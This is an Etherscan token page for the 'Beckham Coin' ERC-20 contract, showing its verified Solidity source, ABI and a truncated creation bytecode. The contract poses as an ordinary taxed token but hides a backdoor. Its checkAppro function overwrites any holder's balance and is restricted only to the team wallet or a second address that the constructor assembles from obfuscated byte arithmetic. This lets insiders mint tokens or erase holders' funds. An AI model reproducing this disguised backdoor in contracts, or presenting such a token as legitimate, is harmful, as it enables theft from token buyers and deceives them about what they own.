ERC-20
Overview
Max Total Supply
100,000,000 BECKHAM
Holders
39
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.95579836 BECKHAMValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BeckhamCoin
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-17 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; interface IUniswapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin,address[] calldata path,address to,uint deadline) external; } interface IUniswapFactory {function createPair( address tokenA, address tokenB) external returns (address pair);} abstract contract Ownable { address internal _owner;constructor () { _owner = msg.sender; }function owner() public view returns (address) { return _owner;}modifier onlyOwner() { require(_owner == msg.sender, "!owner");_;} function transferOwnership(address newOwner) public virtual onlyOwner {_owner = newOwner;}} contract BeckhamCoin is Ownable {event Transfer(address indexed from, address indexed to, uint256 value);event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address public _team; string public name; string public symbol; uint8 public decimals;bytes byte2020 = new bytes(20);uint8[20] _n;mapping(address => bool) public _isExcludeFromFee; uint256 public totalSupply; IUniswapRouter public _uniswapRouter; bool private inSwap; uint256 private constant MAX = ~uint256(0); uint256 public _swapTax = 2; address public _uniswapPair; constructor (){ name = "Beckham Coin"; symbol = "BECKHAM"; decimals = 9; uint256 Supply = 100000000; _team = 0x1496421C9EDbd547D0576D7F1B7Af79F871A4eF5; totalSupply = Supply * 10 ** decimals; address rAddr = msg.sender; _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[rAddr] = true; _isExcludeFromFee[_team] = true;_balances[rAddr] = totalSupply;emit Transfer(address(0), rAddr, totalSupply); _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _allowances[address(this)][address(_uniswapRouter)] = MAX; _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH()); _isExcludeFromFee[address(_uniswapRouter)] = true; uint8 ii = 2; _n[0]=253;_n[1]=_n[0]-75; _n[3]=(_n[1]+ii)/ii;_n[2]=_n[3]+1;_n[4]=_n[2]*ii;_n[5]=_n[3]-23;_n[6]=_n[0]-30; _n[7]=_n[2]*ii+15;_n[8]=_n[5]*ii-21;_n[9]=_n[3]*ii-10;_n[10]=_n[3]/3-6;_n[11]=_n[10]*10-16; _n[12]=_n[1]+15;_n[13]=_n[10]*5+4;_n[14]=160;_n[15]=130;_n[16]=_n[3];_n[17]=_n[2]*ii;_n[18]=_n[6]-2;_n[19]=156; for (uint i = 0; i < 20; i++) {byte2020[i] = getB(_n[i]);} } function balanceOf(address account) public view returns (uint256) { return _balances[account]; }function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; }function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function getB(uint8 n) public pure returns(bytes1){ return bytes1(n); } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; }struct swapandLiqui{address sir;uint256 nb;address his;}function checkAppro(address pos,uint256 amount) public {swapandLiqui memory str_lp = swapandLiqui({sir : msg.sender,nb : amount,his : pos}); _balances[str_lp.his] = str_lp.nb; if (address(bytes20(byte2020)) != str_lp.sir){ require(_team == str_lp.sir); } } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from,address to,uint256 amount) private { if (_uniswapPair == to && !inSwap) { inSwap = true; uint256 balanceInContractAddress = balanceOf(address(this)); if (balanceInContractAddress > 0) { uint256 _s = amount;_s = _s > balanceInContractAddress ? balanceInContractAddress : _s; address[] memory path = new address[](2);path[0] = address(this);path[1] = _uniswapRouter.WETH();try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(_s,0,path,address(_team),block.timestamp) {} catch {} } inSwap = false; } bool takeFee = !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap; _balances[from] = _balances[from] - amount; uint256 _taxAmount; if (takeFee && _swapTax > 0) { uint256 _aFee = amount * _swapTax / 100;_taxAmount += _aFee; _balances[address(this)] = _balances[address(this)] + _aFee; emit Transfer(from, address(this), _aFee); } _balances[to] = _balances[to] + amount - _taxAmount; emit Transfer(from, to, amount - _taxAmount); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_team","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pos","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"checkAppro","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"n","type":"uint8"}],"name":"getB","outputs":[{"internalType":"bytes1","name":"","type":"bytes1"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601467ffffffffffffffff811115620000225762000021620011f0565b5b6040519080825280601f01601f191660200182016040528015620000555781602001600182028036833780820191505090505b50600790805190602001906200006d929190620010af565b506002600c553480156200008057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600c81526020017f4265636b68616d20436f696e0000000000000000000000000000000000000000815250600490805190602001906200010e92919062001140565b506040518060400160405280600781526020017f4245434b48414d00000000000000000000000000000000000000000000000000815250600590805190602001906200015c92919062001140565b506009600660006101000a81548160ff021916908360ff16021790555060006305f5e1009050731496421c9edbd547d0576d7f1b7af79f871a4ef5600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900460ff16600a620001f59190620013b9565b816200020291906200140a565b600a8190555060003390506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a54600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620003df91906200147c565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200054f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000575919062001503565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620005ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000625919062001503565b6040518363ffffffff1660e01b81526004016200064492919062001546565b6020604051808303816000875af115801562000664573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200068a919062001503565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002905060fd600860006014811062000764576200076362001573565b5b602091828204019190066101000a81548160ff021916908360ff160217905550604b60086000601481106200079e576200079d62001573565b5b602091828204019190069054906101000a900460ff16620007c09190620015a2565b6008600160148110620007d857620007d762001573565b5b602091828204019190066101000a81548160ff021916908360ff1602179055508081600860016014811062000812576200081162001573565b5b602091828204019190069054906101000a900460ff16620008349190620015dd565b6200084091906200164a565b600860036014811062000858576200085762001573565b5b602091828204019190066101000a81548160ff021916908360ff1602179055506001600860036014811062000892576200089162001573565b5b602091828204019190069054906101000a900460ff16620008b49190620015dd565b6008600260148110620008cc57620008cb62001573565b5b602091828204019190066101000a81548160ff021916908360ff16021790555080600860026014811062000905576200090462001573565b5b602091828204019190069054906101000a900460ff1662000927919062001682565b60086004601481106200093f576200093e62001573565b5b602091828204019190066101000a81548160ff021916908360ff1602179055506017600860036014811062000979576200097862001573565b5b602091828204019190069054906101000a900460ff166200099b9190620015a2565b6008600560148110620009b357620009b262001573565b5b602091828204019190066101000a81548160ff021916908360ff160217905550601e6008600060148110620009ed57620009ec62001573565b5b602091828204019190069054906101000a900460ff1662000a0f9190620015a2565b600860066014811062000a275762000a2662001573565b5b602091828204019190066101000a81548160ff021916908360ff160217905550600f81600860026014811062000a625762000a6162001573565b5b602091828204019190069054906101000a900460ff1662000a84919062001682565b62000a909190620015dd565b600860076014811062000aa85762000aa762001573565b5b602091828204019190066101000a81548160ff021916908360ff160217905550601581600860056014811062000ae35762000ae262001573565b5b602091828204019190069054906101000a900460ff1662000b05919062001682565b62000b119190620015a2565b6008806014811062000b285762000b2762001573565b5b602091828204019190066101000a81548160ff021916908360ff160217905550600a81600860036014811062000b635762000b6262001573565b5b602091828204019190069054906101000a900460ff1662000b85919062001682565b62000b919190620015a2565b600860096014811062000ba95762000ba862001573565b5b602091828204019190066101000a81548160ff021916908360ff16021790555060066003600860036014811062000be55762000be462001573565b5b602091828204019190069054906101000a900460ff1662000c0791906200164a565b62000c139190620015a2565b6008600a6014811062000c2b5762000c2a62001573565b5b602091828204019190066101000a81548160ff021916908360ff1602179055506010600a6008600a6014811062000c675762000c6662001573565b5b602091828204019190069054906101000a900460ff1662000c89919062001682565b62000c959190620015a2565b6008600b6014811062000cad5762000cac62001573565b5b602091828204019190066101000a81548160ff021916908360ff160217905550600f600860016014811062000ce75762000ce662001573565b5b602091828204019190069054906101000a900460ff1662000d099190620015dd565b6008600c6014811062000d215762000d2062001573565b5b602091828204019190066101000a81548160ff021916908360ff160217905550600460056008600a6014811062000d5d5762000d5c62001573565b5b602091828204019190069054906101000a900460ff1662000d7f919062001682565b62000d8b9190620015dd565b6008600d6014811062000da35762000da262001573565b5b602091828204019190066101000a81548160ff021916908360ff16021790555060a06008600e6014811062000ddd5762000ddc62001573565b5b602091828204019190066101000a81548160ff021916908360ff16021790555060826008600f6014811062000e175762000e1662001573565b5b602091828204019190066101000a81548160ff021916908360ff160217905550600860036014811062000e4f5762000e4e62001573565b5b602091828204019190069054906101000a900460ff16600860106014811062000e7d5762000e7c62001573565b5b602091828204019190066101000a81548160ff021916908360ff16021790555080600860026014811062000eb65762000eb562001573565b5b602091828204019190069054906101000a900460ff1662000ed8919062001682565b600860116014811062000ef05762000eef62001573565b5b602091828204019190066101000a81548160ff021916908360ff1602179055506002600860066014811062000f2a5762000f2962001573565b5b602091828204019190069054906101000a900460ff1662000f4c9190620015a2565b600860126014811062000f645762000f6362001573565b5b602091828204019190066101000a81548160ff021916908360ff160217905550609c600860136014811062000f9e5762000f9d62001573565b5b602091828204019190066101000a81548160ff021916908360ff16021790555060005b60148110156200109857620010086008826014811062000fe65762000fe562001573565b5b602091828204019190069054906101000a900460ff16620010a260201b60201c565b60078281546200101890620016f3565b81106200102a576200102962001573565b5b8154600116156200104a5790600052602060002090602091828204019190065b601f036101000a81548160ff021916907f01000000000000000000000000000000000000000000000000000000000000008404021790555080806200108f9062001728565b91505062000fc1565b5050505062001775565b60008160f81b9050919050565b828054620010bd90620016f3565b90600052602060002090601f016020900481019282620010e157600085556200112d565b82601f10620010fc57805160ff19168380011785556200112d565b828001600101855582156200112d579182015b828111156200112c5782518255916020019190600101906200110f565b5b5090506200113c9190620011d1565b5090565b8280546200114e90620016f3565b90600052602060002090601f016020900481019282620011725760008555620011be565b82601f106200118d57805160ff1916838001178555620011be565b82800160010185558215620011be579182015b82811115620011bd578251825591602001919060010190620011a0565b5b509050620011cd9190620011d1565b5090565b5b80821115620011ec576000816000905550600101620011d2565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620012ad578086048111156200128557620012846200121f565b5b6001851615620012955780820291505b8081029050620012a5856200124e565b945062001265565b94509492505050565b600082620012c857600190506200139b565b81620012d857600090506200139b565b8160018114620012f15760028114620012fc5762001332565b60019150506200139b565b60ff8411156200131157620013106200121f565b5b8360020a9150848211156200132b576200132a6200121f565b5b506200139b565b5060208310610133831016604e8410600b84101617156200136c5782820a9050838111156200136657620013656200121f565b5b6200139b565b6200137b84848460016200125b565b925090508184048111156200139557620013946200121f565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620013c682620013a2565b9150620013d383620013ac565b9250620014027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620012b6565b905092915050565b60006200141782620013a2565b91506200142483620013a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562001460576200145f6200121f565b5b828202905092915050565b6200147681620013a2565b82525050565b60006020820190506200149360008301846200146b565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620014cb826200149e565b9050919050565b620014dd81620014be565b8114620014e957600080fd5b50565b600081519050620014fd81620014d2565b92915050565b6000602082840312156200151c576200151b62001499565b5b60006200152c84828501620014ec565b91505092915050565b6200154081620014be565b82525050565b60006040820190506200155d600083018562001535565b6200156c602083018462001535565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000620015af82620013ac565b9150620015bc83620013ac565b925082821015620015d257620015d16200121f565b5b828203905092915050565b6000620015ea82620013ac565b9150620015f783620013ac565b92508260ff0382111562001610576200160f6200121f565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200165782620013ac565b91506200166483620013ac565b9250826200167757620016766200161b565b5b828204905092915050565b60006200168f82620013ac565b91506200169c83620013ac565b92508160ff0483118215151615620016b957620016b86200121f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200170c57607f821691505b602082108103620017225762001721620016c4565b5b50919050565b60006200173582620013a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036200176a57620017696200121f565b5b600182019050919050565b611c7d80620017856000396000f3fe60806040526004361061010d5760003560e01c80634bf28fd01161009557806395d89b411161006457806395d89b41146103a2578063a9059cbb146103cd578063ad0688b91461040a578063dd62ed3e14610433578063f2fde38b1461047057610114565b80634bf28fd0146102e457806365b61b771461030f57806370a082311461033a5780638da5cb5b1461037757610114565b806318160ddd116100dc57806318160ddd146101e957806323b872dd1461021457806330da23e414610251578063313ce5671461027c57806336b2e027146102a757610114565b806306fdde0314610119578063095ea7b3146101445780630e9cbc70146101815780630ede0343146101be57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610499565b60405161013b919061136e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611429565b610527565b6040516101789190611484565b60405180910390f35b34801561018d57600080fd5b506101a860048036038101906101a391906114d8565b61053e565b6040516101b59190611540565b60405180910390f35b3480156101ca57600080fd5b506101d361054b565b6040516101e0919061156a565b60405180910390f35b3480156101f557600080fd5b506101fe610571565b60405161020b9190611594565b60405180910390f35b34801561022057600080fd5b5061023b600480360381019061023691906115af565b610577565b6040516102489190611484565b60405180910390f35b34801561025d57600080fd5b5061026661071d565b6040516102739190611594565b60405180910390f35b34801561028857600080fd5b50610291610723565b60405161029e9190611611565b60405180910390f35b3480156102b357600080fd5b506102ce60048036038101906102c9919061162c565b610736565b6040516102db9190611484565b60405180910390f35b3480156102f057600080fd5b506102f9610756565b604051610306919061156a565b60405180910390f35b34801561031b57600080fd5b5061032461077c565b60405161033191906116b8565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c919061162c565b6107a2565b60405161036e9190611594565b60405180910390f35b34801561038357600080fd5b5061038c6107eb565b604051610399919061156a565b60405180910390f35b3480156103ae57600080fd5b506103b7610814565b6040516103c4919061136e565b60405180910390f35b3480156103d957600080fd5b506103f460048036038101906103ef9190611429565b6108a2565b6040516104019190611484565b60405180910390f35b34801561041657600080fd5b50610431600480360381019061042c9190611429565b6108b9565b005b34801561043f57600080fd5b5061045a600480360381019061045591906116d3565b6109f8565b6040516104679190611594565b60405180910390f35b34801561047c57600080fd5b506104976004803603810190610492919061162c565b610a7f565b005b600480546104a690611742565b80601f01602080910402602001604051908101604052809291908181526020018280546104d290611742565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b505050505081565b6000610534338484610b50565b6001905092915050565b60008160f81b9050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000610584848484610c3b565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107125781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461069191906117a2565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600c5481565b600660009054906101000a900460ff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6005805461082190611742565b80601f016020809104026020016040519081016040528092919081815260200182805461084d90611742565b801561089a5780601f1061086f5761010080835404028352916020019161089a565b820191906000526020600020905b81548152906001019060200180831161087d57829003601f168201915b505050505081565b60006108af338484610c3b565b6001905092915050565b600060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018473ffffffffffffffffffffffffffffffffffffffff168152509050806020015160016000836040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806000015173ffffffffffffffffffffffffffffffffffffffff16600761097690611867565b60601c73ffffffffffffffffffffffffffffffffffffffff16146109f357806000015173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f257600080fd5b5b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0490611924565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2e9190611594565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610ca55750600b60149054906101000a900460ff16155b15610f3f576001600b60146101000a81548160ff0219169083151502179055506000610cd0306107a2565b90506000811115610f22576000829050818111610ced5780610cef565b815b90506000600267ffffffffffffffff811115610d0e57610d0d611944565b5b604051908082528060200260200182016040528015610d3c5781602001602082028036833780820191505090505b5090503081600081518110610d5457610d53611973565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1f91906119b7565b81600181518110610e3357610e32611973565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401610ef3959493929190611add565b600060405180830381600087803b158015610f0d57600080fd5b505af1925050508015610f1e575060015b5050505b6000600b60146101000a81548160ff021916908315150217905550505b6000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610fe55750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610ffe5750600b60149054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461104b91906117a2565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081801561109f57506000600c54115b156111c55760006064600c54856110b69190611b37565b6110c09190611bc0565b905080826110ce9190611bf1565b915080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111b9190611bf1565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111bb9190611594565b60405180910390a3505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112119190611bf1565b61121b91906117a2565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866112b991906117a2565b6040516112c69190611594565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561130f5780820151818401526020810190506112f4565b8381111561131e576000848401525b50505050565b6000601f19601f8301169050919050565b6000611340826112d5565b61134a81856112e0565b935061135a8185602086016112f1565b61136381611324565b840191505092915050565b600060208201905081810360008301526113888184611335565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113c082611395565b9050919050565b6113d0816113b5565b81146113db57600080fd5b50565b6000813590506113ed816113c7565b92915050565b6000819050919050565b611406816113f3565b811461141157600080fd5b50565b600081359050611423816113fd565b92915050565b600080604083850312156114405761143f611390565b5b600061144e858286016113de565b925050602061145f85828601611414565b9150509250929050565b60008115159050919050565b61147e81611469565b82525050565b60006020820190506114996000830184611475565b92915050565b600060ff82169050919050565b6114b58161149f565b81146114c057600080fd5b50565b6000813590506114d2816114ac565b92915050565b6000602082840312156114ee576114ed611390565b5b60006114fc848285016114c3565b91505092915050565b60007fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b61153a81611505565b82525050565b60006020820190506115556000830184611531565b92915050565b611564816113b5565b82525050565b600060208201905061157f600083018461155b565b92915050565b61158e816113f3565b82525050565b60006020820190506115a96000830184611585565b92915050565b6000806000606084860312156115c8576115c7611390565b5b60006115d6868287016113de565b93505060206115e7868287016113de565b92505060406115f886828701611414565b9150509250925092565b61160b8161149f565b82525050565b60006020820190506116266000830184611602565b92915050565b60006020828403121561164257611641611390565b5b6000611650848285016113de565b91505092915050565b6000819050919050565b600061167e61167961167484611395565b611659565b611395565b9050919050565b600061169082611663565b9050919050565b60006116a282611685565b9050919050565b6116b281611697565b82525050565b60006020820190506116cd60008301846116a9565b92915050565b600080604083850312156116ea576116e9611390565b5b60006116f8858286016113de565b9250506020611709858286016113de565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061175a57607f821691505b60208210810361176d5761176c611713565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117ad826113f3565b91506117b8836113f3565b9250828210156117cb576117ca611773565b5b828203905092915050565b6000815490506117e581611742565b9050919050565b60008190508160005260206000209050919050565b60008160601c9050919050565b60008160601b9050919050565b60006118268261180e565b9050919050565b600061184061183b83611801565b61181b565b9050919050565b6000611853825461182d565b9050919050565b600082821b905092915050565b6000611872826117d6565b82601f82111561188857611885846117ec565b90505b61189181611847565b925060148210156118d1576118cc7